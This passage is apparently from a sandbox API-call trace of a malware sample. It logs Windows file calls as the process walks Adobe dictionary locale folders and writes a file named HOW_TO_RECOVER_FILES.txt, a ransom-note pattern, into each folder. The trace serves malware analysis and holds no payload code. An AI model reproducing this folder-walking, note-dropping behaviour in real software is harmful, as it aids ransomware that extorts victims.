ftLastWriteTime.dwLowDateTime=0x5e98a62e, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0180.721] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ee23d84, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ee23d84, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ee23d84, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0180.721] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.721] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0180.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0180.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0180.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0180.722] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\all", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\all", lpFilePart=0x0) returned 0x5f [0180.722] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x525e22af, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x525e22af, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x525e22af, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0180.723] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x525e22af, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x525e22af, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x525e22af, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.723] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x525e22af, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x525e22af, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x525e22af, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0180.723] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0180.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0180.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0180.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0180.723] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\all", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\all", lpFilePart=0x0) returned 0x5f [0180.724] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x525e22af, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x525e22af, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x525e22af, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0180.724] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x525e22af, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x525e22af, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x525e22af, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.724] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x525e22af, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x525e22af, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x525e22af, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0180.724] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0180.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0180.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0180.724] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\all\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\all\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x78 [0180.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb0d0) returned 1 [0180.724] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\all\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\adobe custom dictionary\\all\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0181.110] GetFileType (hFile=0x6e0) returned 0x1 [0181.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb040) returned 1 [0181.110] GetFileType (hFile=0x6e0) returned 0x1 [0181.111] WriteFile (in: hFile=0x6e0, lpBuffer=0x36315c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eb198, lpOverlapped=0x0 | out: lpBuffer=0x36315c8*, lpNumberOfBytesWritten=0x204eb198*=0x5d0, lpOverlapped=0x0) returned 1 [0181.112] CloseHandle (hObject=0x6e0) returned 1 [0181.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0181.112] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_CH", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_CH", lpFilePart=0x0) returned 0x61 [0181.112] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_CH\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59d60336, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x59d60336, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x59d60336, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.113] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59d60336, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x59d60336, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x59d60336, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.113] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59d60336, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x59d60336, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x59d60336, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0181.113] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0181.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0181.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0181.113] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_CH", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_CH", lpFilePart=0x0) returned 0x61 [0181.113] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_CH\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59d60336, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x59d60336, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x59d60336, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.114] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59d60336, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x59d60336, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x59d60336, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.114] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59d60336, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x59d60336, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x59d60336, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0181.114] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0181.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0181.114] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_CH\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_CH\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7a [0181.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb0d0) returned 1 [0181.114] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_CH\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\adobe custom dictionary\\de_ch\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0181.115] GetFileType (hFile=0x6e0) returned 0x1 [0181.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb040) returned 1 [0181.115] GetFileType (hFile=0x6e0) returned 0x1 [0181.115] WriteFile (in: hFile=0x6e0, lpBuffer=0x3642eb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eb198, lpOverlapped=0x0 | out: lpBuffer=0x3642eb8*, lpNumberOfBytesWritten=0x204eb198*=0x5d0, lpOverlapped=0x0) returned 1 [0181.117] CloseHandle (hObject=0x6e0) returned 1 [0181.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0181.117] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_DE", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_DE", lpFilePart=0x0) returned 0x61 [0181.117] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_DE\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a224c46, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a224c46, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a224c46, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.117] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a224c46, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a224c46, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a224c46, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.118] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a224c46, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a224c46, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a224c46, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0181.118] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0181.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0181.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0181.118] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_DE", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_DE", lpFilePart=0x0) returned 0x61 [0181.118] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_DE\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a224c46, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a224c46, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a224c46, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.118] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a224c46, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a224c46, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a224c46, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.118] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a224c46, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a224c46, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a224c46, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0181.118] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0181.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0181.119] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_DE\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_DE\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7a [0181.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb0d0) returned 1 [0181.119] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_DE\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\adobe custom dictionary\\de_de\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0181.119] GetFileType (hFile=0x6e0) returned 0x1 [0181.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb040) returned 1 [0181.120] GetFileType (hFile=0x6e0) returned 0x1 [0181.120] WriteFile (in: hFile=0x6e0, lpBuffer=0x36547a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eb198, lpOverlapped=0x0 | out: lpBuffer=0x36547a8*, lpNumberOfBytesWritten=0x204eb198*=0x5d0, lpOverlapped=0x0) returned 1 [0181.121] CloseHandle (hObject=0x6e0) returned 1 [0181.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0181.121] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_CA", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_CA", lpFilePart=0x0) returned 0x61 [0181.122] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_CA\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ad2ba77, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ad2ba77, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ad2ba77, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.123] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ad2ba77, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ad2ba77, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ad2ba77, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.123] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ad2ba77, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ad2ba77, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ad2ba77, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0181.123] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0181.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0181.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0181.123] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_CA", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_CA", lpFilePart=0x0) returned 0x61 [0181.123] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_CA\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ad2ba77, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ad2ba77, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ad2ba77, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.123] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ad2ba77, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ad2ba77, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ad2ba77, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.124] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ad2ba77, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ad2ba77, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ad2ba77, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0181.124] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0181.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0181.124] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_CA\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eabb0, lpFilePart=0x0 | out: 